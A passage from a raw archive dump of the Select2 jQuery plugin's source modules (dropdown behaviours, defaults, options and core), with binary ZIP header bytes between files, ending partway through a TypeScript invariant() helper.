      self.handleSearch(evt);
    });

    container.on('open', function () {
      self.$search.attr('tabindex', 0);

      self.$search.focus();

      window.setTimeout(function () {
        self.$search.focus();
      }, 0);
    });

    container.on('close', function () {
      self.$search.attr('tabindex', -1);

      self.$search.val('');
      self.$search.blur();
    });

    container.on('focus', function () {
      if (!container.isOpen()) {
        self.$search.focus();
      }
    });

    container.on('results:all', function (params) {
      if (params.query.term == null || params.query.term === '') {
        var showSearch = self.showSearch(params);

        if (showSearch) {
          self.$searchContainer.removeClass('select2-search--hide');
        } else {
          self.$searchContainer.addClass('select2-search--hide');
        }
      }
    });
  };

  Search.prototype.handleSearch = function (evt) {
    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.showSearch = function (_, params) {
    return true;
  };

  return Search;
});
PK�}�\hs����&js/select2/dropdown/attachContainer.jsnu�[���define([

], function () {
  function AttachContainer (decorated, $element, options) {
    decorated.call(this, $element, options);
  }

  AttachContainer.prototype.position =
    function (decorated, $dropdown, $container) {
    var $dropdownContainer = $container.find('.dropdown-wrapper');
    $dropdownContainer.append($dropdown);

    $dropdown.addClass('select2-dropdown--below');
    $container.addClass('select2-container--below');
  };

  return AttachContainer;
});
PK�}�\4&����$js/select2/dropdown/selectOnClose.jsnu�[���define([
  '../utils'
], function (Utils) {
  function SelectOnClose () { }

  SelectOnClose.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('close', function (params) {
      self._handleSelectOnClose(params);
    });
  };

  SelectOnClose.prototype._handleSelectOnClose = function (_, params) {
    if (params && params.originalSelect2Event != null) {
      var event = params.originalSelect2Event;

      // Don't select an item if the close event was triggered from a select or
      // unselect event
      if (event._type === 'select' || event._type === 'unselect') {
        return;
      }
    }

    var $highlightedResults = this.getHighlightedResults();

    // Only select highlighted results
    if ($highlightedResults.length < 1) {
      return;
    }

    var data = Utils.GetData($highlightedResults[0], 'data');

    // Don't re-select already selected resulte
    if (
      (data.element != null && data.element.selected) ||
      (data.element == null && data.selected)
    ) {
      return;
    }

    this.trigger('select', {
        data: data
    });
  };

  return SelectOnClose;
});
PK�}�\%q���.js/select2/dropdown/minimumResultsForSearch.jsnu�[���define([

], function () {
  function countResults (data) {
    var count = 0;

    for (var d = 0; d < data.length; d++) {
      var item = data[d];

      if (item.children) {
        count += countResults(item.children);
      } else {
        count++;
      }
    }

    return count;
  }

  function MinimumResultsForSearch (decorated, $element, options, dataAdapter) {
    this.minimumResultsForSearch = options.get('minimumResultsForSearch');

    if (this.minimumResultsForSearch < 0) {
      this.minimumResultsForSearch = Infinity;
    }

    decorated.call(this, $element, options, dataAdapter);
  }

  MinimumResultsForSearch.prototype.showSearch = function (decorated, params) {
    if (countResults(params.data.results) < this.minimumResultsForSearch) {
      return false;
    }

    return decorated.call(this, params);
  };

  return MinimumResultsForSearch;
});
PK�}�\Q93��&js/select2/dropdown/stopPropagation.jsnu�[���define([

], function () {
  function StopPropagation () { }

  StopPropagation.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    var stoppedEvents = [
    'blur',
    'change',
    'click',
    'dblclick',
    'focus',
    'focusin',
    'focusout',
    'input',
    'keydown',
    'keyup',
    'keypress',
    'mousedown',
    'mouseenter',
    'mouseleave',
    'mousemove',
    'mouseover',
    'mouseup',
    'search',
    'touchend',
    'touchstart'
    ];

    this.$dropdown.on(stoppedEvents.join(' '), function (evt) {
      evt.stopPropagation();
    });
  };

  return StopPropagation;
});
PK�}�\�^O$js/select2/dropdown/closeOnSelect.jsnu�[���define([

], function () {
  function CloseOnSelect () { }

  CloseOnSelect.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('select', function (evt) {
      self._selectTriggered(evt);
    });

    container.on('unselect', function (evt) {
      self._selectTriggered(evt);
    });
  };

  CloseOnSelect.prototype._selectTriggered = function (_, evt) {
    var originalEvent = evt.originalEvent;

    // Don't close if the control key is being held
    if (originalEvent && originalEvent.ctrlKey) {
      return;
    }

    this.trigger('close', {
      originalEvent: originalEvent,
      originalSelect2Event: evt
    });
  };

  return CloseOnSelect;
});
PK�}�\h��P++js/select2/defaults.jsnu�[���define([
  'jquery',
  'require',

  './results',

  './selection/single',
  './selection/multiple',
  './selection/placeholder',
  './selection/allowClear',
  './selection/search',
  './selection/eventRelay',

  './utils',
  './translation',
  './diacritics',

  './data/select',
  './data/array',
  './data/ajax',
  './data/tags',
  './data/tokenizer',
  './data/minimumInputLength',
  './data/maximumInputLength',
  './data/maximumSelectionLength',

  './dropdown',
  './dropdown/search',
  './dropdown/hidePlaceholder',
  './dropdown/infiniteScroll',
  './dropdown/attachBody',
  './dropdown/minimumResultsForSearch',
  './dropdown/selectOnClose',
  './dropdown/closeOnSelect',

  './i18n/en'
], function ($, require,

             ResultsList,

             SingleSelection, MultipleSelection, Placeholder, AllowClear,
             SelectionSearch, EventRelay,

             Utils, Translation, DIACRITICS,

             SelectData, ArrayData, AjaxData, Tags, Tokenizer,
             MinimumInputLength, MaximumInputLength, MaximumSelectionLength,

             Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll,
             AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect,

             EnglishTranslation) {
  function Defaults () {
    this.reset();
  }

  Defaults.prototype.apply = function (options) {
    options = $.extend(true, {}, this.defaults, options);

    if (options.dataAdapter == null) {
      if (options.ajax != null) {
        options.dataAdapter = AjaxData;
      } else if (options.data != null) {
        options.dataAdapter = ArrayData;
      } else {
        options.dataAdapter = SelectData;
      }

      if (options.minimumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MinimumInputLength
        );
      }

      if (options.maximumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumInputLength
        );
      }

      if (options.maximumSelectionLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumSelectionLength
        );
      }

      if (options.tags) {
        options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags);
      }

      if (options.tokenSeparators != null || options.tokenizer != null) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Tokenizer
        );
      }

      if (options.query != null) {
        var Query = require(options.amdBase + 'compat/query');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Query
        );
      }

      if (options.initSelection != null) {
        var InitSelection = require(options.amdBase + 'compat/initSelection');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          InitSelection
        );
      }
    }

    if (options.resultsAdapter == null) {
      options.resultsAdapter = ResultsList;

      if (options.ajax != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          InfiniteScroll
        );
      }

      if (options.placeholder != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          HidePlaceholder
        );
      }

      if (options.selectOnClose) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          SelectOnClose
        );
      }
    }

    if (options.dropdownAdapter == null) {
      if (options.multiple) {
        options.dropdownAdapter = Dropdown;
      } else {
        var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch);

        options.dropdownAdapter = SearchableDropdown;
      }

      if (options.minimumResultsForSearch !== 0) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          MinimumResultsForSearch
        );
      }

      if (options.closeOnSelect) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          CloseOnSelect
        );
      }

      if (
        options.dropdownCssClass != null ||
        options.dropdownCss != null ||
        options.adaptDropdownCssClass != null
      ) {
        var DropdownCSS = require(options.amdBase + 'compat/dropdownCss');

        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          DropdownCSS
        );
      }

      options.dropdownAdapter = Utils.Decorate(
        options.dropdownAdapter,
        AttachBody
      );
    }

    if (options.selectionAdapter == null) {
      if (options.multiple) {
        options.selectionAdapter = MultipleSelection;
      } else {
        options.selectionAdapter = SingleSelection;
      }

      // Add the placeholder mixin if a placeholder was specified
      if (options.placeholder != null) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          Placeholder
        );
      }

      if (options.allowClear) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          AllowClear
        );
      }

      if (options.multiple) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          SelectionSearch
        );
      }

      if (
        options.containerCssClass != null ||
        options.containerCss != null ||
        options.adaptContainerCssClass != null
      ) {
        var ContainerCSS = require(options.amdBase + 'compat/containerCss');

        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          ContainerCSS
        );
      }

      options.selectionAdapter = Utils.Decorate(
        options.selectionAdapter,
        EventRelay
      );
    }

    if (typeof options.language === 'string') {
      // Check if the language is specified with a region
      if (options.language.indexOf('-') > 0) {
        // Extract the region information if it is included
        var languageParts = options.language.split('-');
        var baseLanguage = languageParts[0];

        options.language = [options.language, baseLanguage];
      } else {
        options.language = [options.language];
      }
    }

    if ($.isArray(options.language)) {
      var languages = new Translation();
      options.language.push('en');

      var languageNames = options.language;

      for (var l = 0; l < languageNames.length; l++) {
        var name = languageNames[l];
        var language = {};

        try {
          // Try to load it with the original name
          language = Translation.loadPath(name);
        } catch (e) {
          try {
            // If we couldn't load it, check if it wasn't the full path
            name = this.defaults.amdLanguageBase + name;
            language = Translation.loadPath(name);
          } catch (ex) {
            // The translation could not be loaded at all. Sometimes this is
            // because of a configuration problem, other times this can be
            // because of how Select2 helps load all possible translation files.
            if (options.debug && window.console && console.warn) {
              console.warn(
                'Select2: The language file for "' + name + '" could not be ' +
                'automatically loaded. A fallback will be used instead.'
              );
            }

            continue;
          }
        }

        languages.extend(language);
      }

      options.translations = languages;
    } else {
      var baseTranslation = Translation.loadPath(
        this.defaults.amdLanguageBase + 'en'
      );
      var customTranslation = new Translation(options.language);

      customTranslation.extend(baseTranslation);

      options.translations = customTranslation;
    }

    return options;
  };

  Defaults.prototype.reset = function () {
    function stripDiacritics (text) {
      // Used 'uni range + named function' from http://jsperf.com/diacritics/18
      function match(a) {
        return DIACRITICS[a] || a;
      }

      return text.replace(/[^\u0000-\u007E]/g, match);
    }

    function matcher (params, data) {
      // Always return the object if there is nothing to compare
      if ($.trim(params.term) === '') {
        return data;
      }

      // Do a recursive check for options with children
      if (data.children && data.children.length > 0) {
        // Clone the data object if there are children
        // This is required as we modify the object to remove any non-matches
        var match = $.extend(true, {}, data);

        // Check each child of the option
        for (var c = data.children.length - 1; c >= 0; c--) {
          var child = data.children[c];

          var matches = matcher(params, child);

          // If there wasn't a match, remove the object in the array
          if (matches == null) {
            match.children.splice(c, 1);
          }
        }

        // If any children matched, return the new object
        if (match.children.length > 0) {
          return match;
        }

        // If there were no matching children, check just the plain object
        return matcher(params, match);
      }

      var original = stripDiacritics(data.text).toUpperCase();
      var term = stripDiacritics(params.term).toUpperCase();

      // Check if the text contains the term
      if (original.indexOf(term) > -1) {
        return data;
      }

      // If it doesn't contain the term, don't return anything
      return null;
    }

    this.defaults = {
      amdBase: './',
      amdLanguageBase: './i18n/',
      closeOnSelect: true,
      debug: false,
      dropdownAutoWidth: false,
      escapeMarkup: Utils.escapeMarkup,
      language: EnglishTranslation,
      matcher: matcher,
      minimumInputLength: 0,
      maximumInputLength: 0,
      maximumSelectionLength: 0,
      minimumResultsForSearch: 0,
      selectOnClose: false,
      sorter: function (data) {
        return data;
      },
      templateResult: function (result) {
        return result.text;
      },
      templateSelection: function (selection) {
        return selection.text;
      },
      theme: 'default',
      width: 'resolve'
    };
  };

  Defaults.prototype.set = function (key, value) {
    var camelKey = $.camelCase(key);

    var data = {};
    data[camelKey] = value;

    var convertedData = Utils._convertData(data);

    $.extend(true, this.defaults, convertedData);
  };

  var defaults = new Defaults();

  return defaults;
});
PK�}�\Q�
�
js/select2/options.jsnu�[���define([
  'require',
  'jquery',
  './defaults',
  './utils'
], function (require, $, Defaults, Utils) {
  function Options (options, $element) {
    this.options = options;

    if ($element != null) {
      this.fromElement($element);
    }

    this.options = Defaults.apply(this.options);

    if ($element && $element.is('input')) {
      var InputCompat = require(this.get('amdBase') + 'compat/inputData');

      this.options.dataAdapter = Utils.Decorate(
        this.options.dataAdapter,
        InputCompat
      );
    }
  }

  Options.prototype.fromElement = function ($e) {
    var excludedData = ['select2'];

    if (this.options.multiple == null) {
      this.options.multiple = $e.prop('multiple');
    }

    if (this.options.disabled == null) {
      this.options.disabled = $e.prop('disabled');
    }

    if (this.options.language == null) {
      if ($e.prop('lang')) {
        this.options.language = $e.prop('lang').toLowerCase();
      } else if ($e.closest('[lang]').prop('lang')) {
        this.options.language = $e.closest('[lang]').prop('lang');
      }
    }

    if (this.options.dir == null) {
      if ($e.prop('dir')) {
        this.options.dir = $e.prop('dir');
      } else if ($e.closest('[dir]').prop('dir')) {
        this.options.dir = $e.closest('[dir]').prop('dir');
      } else {
        this.options.dir = 'ltr';
      }
    }

    $e.prop('disabled', this.options.disabled);
    $e.prop('multiple', this.options.multiple);

    if (Utils.GetData($e[0], 'select2Tags')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-select2-tags` attribute has been changed to ' +
          'use the `data-data` and `data-tags="true"` attributes and will be ' +
          'removed in future versions of Select2.'
        );
      }

      Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags'));
      Utils.StoreData($e[0], 'tags', true);
    }

    if (Utils.GetData($e[0], 'ajaxUrl')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-ajax-url` attribute has been changed to ' +
          '`data-ajax--url` and support for the old attribute will be removed' +
          ' in future versions of Select2.'
        );
      }

      $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl'));
      Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl'));
	  
    }

    var dataset = {};

    // Prefer the element's `dataset` attribute if it exists
    // jQuery 1.x does not correctly handle data attributes with multiple dashes
    if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) {
      dataset = $.extend(true, {}, $e[0].dataset, Utils.GetData($e[0]));
    } else {
      dataset = Utils.GetData($e[0]);
    }

    var data = $.extend(true, {}, dataset);

    data = Utils._convertData(data);

    for (var key in data) {
      if ($.inArray(key, excludedData) > -1) {
        continue;
      }

      if ($.isPlainObject(this.options[key])) {
        $.extend(this.options[key], data[key]);
      } else {
        this.options[key] = data[key];
      }
    }

    return this;
  };

  Options.prototype.get = function (key) {
    return this.options[key];
  };

  Options.prototype.set = function (key, val) {
    this.options[key] = val;
  };

  return Options;
});
PK�}�\%�Ξ?�?js/select2/core.jsnu�[���define([
  'jquery',
  './options',
  './utils',
  './keys'
], function ($, Options, Utils, KEYS) {
  var Select2 = function ($element, options) {
    if (Utils.GetData($element[0], 'select2') != null) {
      Utils.GetData($element[0], 'select2').destroy();
    }

    this.$element = $element;

    this.id = this._generateId($element);

    options = options || {};

    this.options = new Options(options, $element);

    Select2.__super__.constructor.call(this);

    // Set up the tabindex

    var tabindex = $element.attr('tabindex') || 0;
    Utils.StoreData($element[0], 'old-tabindex', tabindex);
    $element.attr('tabindex', '-1');

    // Set up containers and adapters

    var DataAdapter = this.options.get('dataAdapter');
    this.dataAdapter = new DataAdapter($element, this.options);

    var $container = this.render();

    this._placeContainer($container);

    var SelectionAdapter = this.options.get('selectionAdapter');
    this.selection = new SelectionAdapter($element, this.options);
    this.$selection = this.selection.render();

    this.selection.position(this.$selection, $container);

    var DropdownAdapter = this.options.get('dropdownAdapter');
    this.dropdown = new DropdownAdapter($element, this.options);
    this.$dropdown = this.dropdown.render();

    this.dropdown.position(this.$dropdown, $container);

    var ResultsAdapter = this.options.get('resultsAdapter');
    this.results = new ResultsAdapter($element, this.options, this.dataAdapter);
    this.$results = this.results.render();

    this.results.position(this.$results, this.$dropdown);

    // Bind events

    var self = this;

    // Bind the container to all of the adapters
    this._bindAdapters();

    // Register any DOM event handlers
    this._registerDomEvents();

    // Register any internal event handlers
    this._registerDataEvents();
    this._registerSelectionEvents();
    this._registerDropdownEvents();
    this._registerResultsEvents();
    this._registerEvents();

    // Set the initial state
    this.dataAdapter.current(function (initialData) {
      self.trigger('selection:update', {
        data: initialData
      });
    });

    // Hide the original select
    $element.addClass('select2-hidden-accessible');
    $element.attr('aria-hidden', 'true');

    // Synchronize any monitored attributes
    this._syncAttributes();

    Utils.StoreData($element[0], 'select2', this);

    // Ensure backwards compatibility with $element.data('select2').
    $element.data('select2', this);
  };

  Utils.Extend(Select2, Utils.Observable);

  Select2.prototype._generateId = function ($element) {
    var id = '';

    if ($element.attr('id') != null) {
      id = $element.attr('id');
    } else if ($element.attr('name') != null) {
      id = $element.attr('name') + '-' + Utils.generateChars(2);
    } else {
      id = Utils.generateChars(4);
    }

    id = id.replace(/(:|\.|\[|\]|,)/g, '');
    id = 'select2-' + id;

    return id;
  };

  Select2.prototype._placeContainer = function ($container) {
    $container.insertAfter(this.$element);

    var width = this._resolveWidth(this.$element, this.options.get('width'));

    if (width != null) {
      $container.css('width', width);
    }
  };

  Select2.prototype._resolveWidth = function ($element, method) {
    var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;

    if (method == 'resolve') {
      var styleWidth = this._resolveWidth($element, 'style');

      if (styleWidth != null) {
        return styleWidth;
      }

      return this._resolveWidth($element, 'element');
    }

    if (method == 'element') {
      var elementWidth = $element.outerWidth(false);

      if (elementWidth <= 0) {
        return 'auto';
      }

      return elementWidth + 'px';
    }

    if (method == 'style') {
      var style = $element.attr('style');

      if (typeof(style) !== 'string') {
        return null;
      }

      var attrs = style.split(';');

      for (var i = 0, l = attrs.length; i < l; i = i + 1) {
        var attr = attrs[i].replace(/\s/g, '');
        var matches = attr.match(WIDTH);

        if (matches !== null && matches.length >= 1) {
          return matches[1];
        }
      }

      return null;
    }

    return method;
  };

  Select2.prototype._bindAdapters = function () {
    this.dataAdapter.bind(this, this.$container);
    this.selection.bind(this, this.$container);

    this.dropdown.bind(this, this.$container);
    this.results.bind(this, this.$container);
  };

  Select2.prototype._registerDomEvents = function () {
    var self = this;

    this.$element.on('change.select2', function () {
      self.dataAdapter.current(function (data) {
        self.trigger('selection:update', {
          data: data
        });
      });
    });

    this.$element.on('focus.select2', function (evt) {
      self.trigger('focus', evt);
    });

    this._syncA = Utils.bind(this._syncAttributes, this);
    this._syncS = Utils.bind(this._syncSubtree, this);

    if (this.$element[0].attachEvent) {
      this.$element[0].attachEvent('onpropertychange', this._syncA);
    }

    var observer = window.MutationObserver ||
      window.WebKitMutationObserver ||
      window.MozMutationObserver
    ;

    if (observer != null) {
      this._observer = new observer(function (mutations) {
        $.each(mutations, self._syncA);
        $.each(mutations, self._syncS);
      });
      this._observer.observe(this.$element[0], {
        attributes: true,
        childList: true,
        subtree: false
      });
    } else if (this.$element[0].addEventListener) {
      this.$element[0].addEventListener(
        'DOMAttrModified',
        self._syncA,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeInserted',
        self._syncS,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeRemoved',
        self._syncS,
        false
      );
    }
  };

  Select2.prototype._registerDataEvents = function () {
    var self = this;

    this.dataAdapter.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerSelectionEvents = function () {
    var self = this;
    var nonRelayEvents = ['toggle', 'focus'];

    this.selection.on('toggle', function () {
      self.toggleDropdown();
    });

    this.selection.on('focus', function (params) {
      self.focus(params);
    });

    this.selection.on('*', function (name, params) {
      if ($.inArray(name, nonRelayEvents) !== -1) {
        return;
      }

      self.trigger(name, params);
    });
  };

  Select2.prototype._registerDropdownEvents = function () {
    var self = this;

    this.dropdown.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerResultsEvents = function () {
    var self = this;

    this.results.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerEvents = function () {
    var self = this;

    this.on('open', function () {
      self.$container.addClass('select2-container--open');
    });

    this.on('close', function () {
      self.$container.removeClass('select2-container--open');
    });

    this.on('enable', function () {
      self.$container.removeClass('select2-container--disabled');
    });

    this.on('disable', function () {
      self.$container.addClass('select2-container--disabled');
    });

    this.on('blur', function () {
      self.$container.removeClass('select2-container--focus');
    });

    this.on('query', function (params) {
      if (!self.isOpen()) {
        self.trigger('open', {});
      }

      this.dataAdapter.query(params, function (data) {
        self.trigger('results:all', {
          data: data,
          query: params
        });
      });
    });

    this.on('query:append', function (params) {
      this.dataAdapter.query(params, function (data) {
        self.trigger('results:append', {
          data: data,
          query: params
        });
      });
    });

    this.on('keypress', function (evt) {
      var key = evt.which;

      if (self.isOpen()) {
        if (key === KEYS.ESC || key === KEYS.TAB ||
            (key === KEYS.UP && evt.altKey)) {
          self.close();

          evt.preventDefault();
        } else if (key === KEYS.ENTER) {
          self.trigger('results:select', {});

          evt.preventDefault();
        } else if ((key === KEYS.SPACE && evt.ctrlKey)) {
          self.trigger('results:toggle', {});

          evt.preventDefault();
        } else if (key === KEYS.UP) {
          self.trigger('results:previous', {});

          evt.preventDefault();
        } else if (key === KEYS.DOWN) {
          self.trigger('results:next', {});

          evt.preventDefault();
        }
      } else {
        if (key === KEYS.ENTER || key === KEYS.SPACE ||
            (key === KEYS.DOWN && evt.altKey)) {
          self.open();

          evt.preventDefault();
        }
      }
    });
  };

  Select2.prototype._syncAttributes = function () {
    this.options.set('disabled', this.$element.prop('disabled'));

    if (this.options.get('disabled')) {
      if (this.isOpen()) {
        this.close();
      }

      this.trigger('disable', {});
    } else {
      this.trigger('enable', {});
    }
  };

  Select2.prototype._syncSubtree = function (evt, mutations) {
    var changed = false;
    var self = this;

    // Ignore any mutation events raised for elements that aren't options or
    // optgroups. This handles the case when the select element is destroyed
    if (
      evt && evt.target && (
        evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP'
      )
    ) {
      return;
    }

    if (!mutations) {
      // If mutation events aren't supported, then we can only assume that the
      // change affected the selections
      changed = true;
    } else if (mutations.addedNodes && mutations.addedNodes.length > 0) {
      for (var n = 0; n < mutations.addedNodes.length; n++) {
        var node = mutations.addedNodes[n];

        if (node.selected) {
          changed = true;
        }
      }
    } else if (mutations.removedNodes && mutations.removedNodes.length > 0) {
      changed = true;
    }

    // Only re-pull the data if we think there is a change
    if (changed) {
      this.dataAdapter.current(function (currentData) {
        self.trigger('selection:update', {
          data: currentData
        });
      });
    }
  };

  /**
   * Override the trigger method to automatically trigger pre-events when
   * there are events that can be prevented.
   */
  Select2.prototype.trigger = function (name, args) {
    var actualTrigger = Select2.__super__.trigger;
    var preTriggerMap = {
      'open': 'opening',
      'close': 'closing',
      'select': 'selecting',
      'unselect': 'unselecting',
      'clear': 'clearing'
    };

    if (args === undefined) {
      args = {};
    }

    if (name in preTriggerMap) {
      var preTriggerName = preTriggerMap[name];
      var preTriggerArgs = {
        prevented: false,
        name: name,
        args: args
      };

      actualTrigger.call(this, preTriggerName, preTriggerArgs);

      if (preTriggerArgs.prevented) {
        args.prevented = true;

        return;
      }
    }

    actualTrigger.call(this, name, args);
  };

  Select2.prototype.toggleDropdown = function () {
    if (this.options.get('disabled')) {
      return;
    }

    if (this.isOpen()) {
      this.close();
    } else {
      this.open();
    }
  };

  Select2.prototype.open = function () {
    if (this.isOpen()) {
      return;
    }

    this.trigger('query', {});
  };

  Select2.prototype.close = function () {
    if (!this.isOpen()) {
      return;
    }

    this.trigger('close', {});
  };

  Select2.prototype.isOpen = function () {
    return this.$container.hasClass('select2-container--open');
  };

  Select2.prototype.hasFocus = function () {
    return this.$container.hasClass('select2-container--focus');
  };

  Select2.prototype.focus = function (data) {
    // No need to re-trigger focus events if we are already focused
    if (this.hasFocus()) {
      return;
    }

    this.$container.addClass('select2-container--focus');
    this.trigger('focus', {});
  };

  Select2.prototype.enable = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("enable")` method has been deprecated and will' +
        ' be removed in later Select2 versions. Use $element.prop("disabled")' +
        ' instead.'
      );
    }

    if (args == null || args.length === 0) {
      args = [true];
    }

    var disabled = !args[0];

    this.$element.prop('disabled', disabled);
  };

  Select2.prototype.data = function () {
    if (this.options.get('debug') &&
        arguments.length > 0 && window.console && console.warn) {
      console.warn(
        'Select2: Data can no longer be set using `select2("data")`. You ' +
        'should consider setting the value instead using `$element.val()`.'
      );
    }

    var data = [];

    this.dataAdapter.current(function (currentData) {
      data = currentData;
    });

    return data;
  };

  Select2.prototype.val = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("val")` method has been deprecated and will be' +
        ' removed in later Select2 versions. Use $element.val() instead.'
      );
    }

    if (args == null || args.length === 0) {
      return this.$element.val();
    }

    var newVal = args[0];

    if ($.isArray(newVal)) {
      newVal = $.map(newVal, function (obj) {
        return obj.toString();
      });
    }

    this.$element.val(newVal).trigger('change');
  };

  Select2.prototype.destroy = function () {
    this.$container.remove();

    if (this.$element[0].detachEvent) {
      this.$element[0].detachEvent('onpropertychange', this._syncA);
    }

    if (this._observer != null) {
      this._observer.disconnect();
      this._observer = null;
    } else if (this.$element[0].removeEventListener) {
      this.$element[0]
        .removeEventListener('DOMAttrModified', this._syncA, false);
      this.$element[0]
        .removeEventListener('DOMNodeInserted', this._syncS, false);
      this.$element[0]
        .removeEventListener('DOMNodeRemoved', this._syncS, false);
    }

    this._syncA = null;
    this._syncS = null;

    this.$element.off('.select2');
    this.$element.attr('tabindex',
    Utils.GetData(this.$element[0], 'old-tabindex'));

    this.$element.removeClass('select2-hidden-accessible');
    this.$element.attr('aria-hidden', 'false');
    Utils.RemoveData(this.$element[0]);
    this.$element.removeData('select2');

    this.dataAdapter.destroy();
    this.selection.destroy();
    this.dropdown.destroy();
    this.results.destroy();

    this.dataAdapter = null;
    this.selection = null;
    this.dropdown = null;
    this.results = null;
  };

  Select2.prototype.render = function () {
    var $container = $(
      '<span class="select2 select2-container">' +
        '<span class="selection"></span>' +
        '<span class="dropdown-wrapper" aria-hidden="true"></span>' +
      '</span>'
    );

    $container.attr('dir', this.options.get('dir'));

    this.$container = $container;

    this.$container.addClass('select2-container--' + this.options.get('theme'));

    Utils.StoreData($container[0], 'element', this.$element);

    return $container;
  };

  return Select2;
});
PK�}�\�O>���js/wrapper.end.jsnu�[���  // Autoload the jQuery bindings
  // We know that all of the modules exist above this, so we're safe
  var select2 = S2.require('jquery.select2');

  // Hold the AMD module references on the jQuery function that was just loaded
  // This allows Select2 to use the internal loader outside of this file, such
  // as in the language files.
  jQuery.fn.select2.amd = S2;

  // Return the Select2 instance for anyone who is importing it.
  return select2;
}));
PK�}�\�и6uujs/jquery.mousewheel.shim.jsnu�[���define([
  'jquery'
], function ($) {
  // Used to shim jQuery.mousewheel for non-full builds.
  return $;
});
PK�}�\#���js/wrapper.start.jsnu�[���/*!
 * Select2 <%= package.version %>
 * https://select2.github.io
 *
 * Released under the MIT license
 * https://github.com/select2/select2/blob/master/LICENSE.md
 */
;(function (factory) {
  if (typeof define === 'function' && define.amd) {
    // AMD. Register as an anonymous module.
    define(['jquery'], factory);
  } else if (typeof module === 'object' && module.exports) {
    // Node/CommonJS
    module.exports = function (root, jQuery) {
      if (jQuery === undefined) {
        // require('jQuery') returns a factory that requires window to
        // build a jQuery instance, we normalize how we use modules
        // that require this pattern but the window provided is a noop
        // if it's defined (how jquery works)
        if (typeof window !== 'undefined') {
          jQuery = require('jquery');
        }
        else {
          jQuery = require('jquery')(root);
        }
      }
      factory(jQuery);
      return jQuery;
    };
  } else {
    // Browser globals
    factory(jQuery);
  }
} (function (jQuery) {
  // This is needed so we can catch the AMD loader configuration and use it
  // The inner file should be wrapped (by `banner.start.js`) in a function that
  // returns the AMD loader references.
  var S2 =PK�}�\˚��js/jquery.select2.jsnu�[���define([
  'jquery',
  'jquery-mousewheel',

  './select2/core',
  './select2/defaults',
  './select2/utils'
], function ($, _, Select2, Defaults, Utils) {
  if ($.fn.select2 == null) {
    // All methods that should return the element
    var thisMethods = ['open', 'close', 'destroy'];

    $.fn.select2 = function (options) {
      options = options || {};

      if (typeof options === 'object') {
        this.each(function () {
          var instanceOptions = $.extend(true, {}, options);

          var instance = new Select2($(this), instanceOptions);
        });

        return this;
      } else if (typeof options === 'string') {
        var ret;
        var args = Array.prototype.slice.call(arguments, 1);

        this.each(function () {
          var instance = Utils.GetData(this, 'select2');

          if (instance == null && window.console && console.error) {
            console.error(
              'The select2(\'' + options + '\') method was called on an ' +
              'element that is not using Select2.'
            );
          }

          ret = instance[options].apply(instance, args);
        });

        // Check if we should be returning `this`
        if ($.inArray(options, thisMethods) > -1) {
          return this;
        }

        return ret;
      } else {
        throw new Error('Invalid arguments for Select2: ' + options);
      }
    };
  }

  if ($.fn.select2.defaults == null) {
    $.fn.select2.defaults = Defaults;
  }

  return Select2;
});
PK�}�\��N<��index.tsnu�[���/**
 * Use invariant() to assert state which your program assumes to be true.
 *
 * Provide sprintf-style format (only %s is supported) and arguments
 * to provide information about what broke and what you were
 * expecting.
 *
 * The invariant message will be stripped in production, but the invariant
 * will remain to ensure logic does not differ in production.
 */

export function invariant(condition: any, format: string, ...args: any[]) {
  if (process.env.NODE_ENV !== 'production') {
    if (format === undefined) {
      throw new Error('invariant requires an error message argument');
    }
  }

  if (!condition) {
    let error;
    if (format === undefined) {
      error = new Error(
        'Minified exception occurred; use the non-minified dev environment ' +
          'for the full error message and additional helpful warnings.'
      );
    } else {
      let argIndex = 0;
      error = new Error(
        format.replace(/%s/g, function() {
          return args[argIndex++];
        })
      );
